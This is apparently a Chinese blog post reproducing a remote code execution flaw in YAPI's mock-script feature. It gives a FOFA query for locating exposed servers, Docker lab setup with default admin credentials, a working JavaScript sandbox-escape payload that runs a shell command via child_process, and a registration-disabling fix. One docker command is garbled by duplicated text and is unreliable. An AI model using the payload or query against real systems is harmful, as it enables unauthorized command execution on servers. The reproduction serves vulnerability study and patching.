YAPI Mock远程代码执行漏洞

前言
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业使用。


漏洞原理
YAPI项目使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务。其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。


fofa搜索语法
title='yapi'‘


本地环境搭建

1:

安装 Docker

yum -y install docker

2:

启动 Docker

systemctl start docker

3:

查看Docker服务状态

systemctl status docker

 

4:

使用 Docker 构建 Yapi

(1).创建 MongoDB 数据卷

docker volume create mongo_data_yapi

 

(2).启动 MongoDB

docker run -d --name mongo-yapi -v mongo_data_yapi:/data/db mongo

(3).获取 Yapi 镜像,版本信息可在 阿里云镜像仓库 查看 :
地址: 开放云原生应用-云原生(Cloud Native)-云原生介绍 - 阿里云

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

 

(4).初始化 Yapi 数据库索引及管理员账号

docker run -it --rm  --link mongo-yapi:mongo  --entrypoint npm  --workdir /api/vendors  registry.cn-hangzhou.aliyuncs.com/anoy/yapi  run install-server

(5).启动 Yapi 服务

docker run -d  --name yapi  --link mongo-yapi:mongo  --workdir /api/vendors  -p 3000:3000  registry.cn-hangdocker run -d  --name yapi  --link mongo-yapi:mongo  --workdir /api/vendors  -p 3000:3000  registry.cn-hangzhou.aliyuncs.com/anoy/yapi  server/app.js

 

(6).使用 Yapi
访问 http://localhost:3000 登录账号admin@admin.com,密码ymfe.org

复现一波

首先注册一个账号

 

注册完账号后登录

登录后我们先添加一个项目

这些随便填就可

然后点击创建项目

创建完项目后点击添加接口

然后点击高级Mock下方是否开启选择开启

然后添加Payload
Payload如下:

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson =process.mainModule.require("child_process").execSync("whoami").toString()

点击保存

然后点击预览

然后点击Mock地址

漏洞修复
1、临时修复

a)取消注册功能

在 config.json 添加 closeRegister:true 配置项,禁止用户注册 yapi 平台,修改完成后,重启 yapi 服务器。

       {  "port": "*****",  "closeRegister":true}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值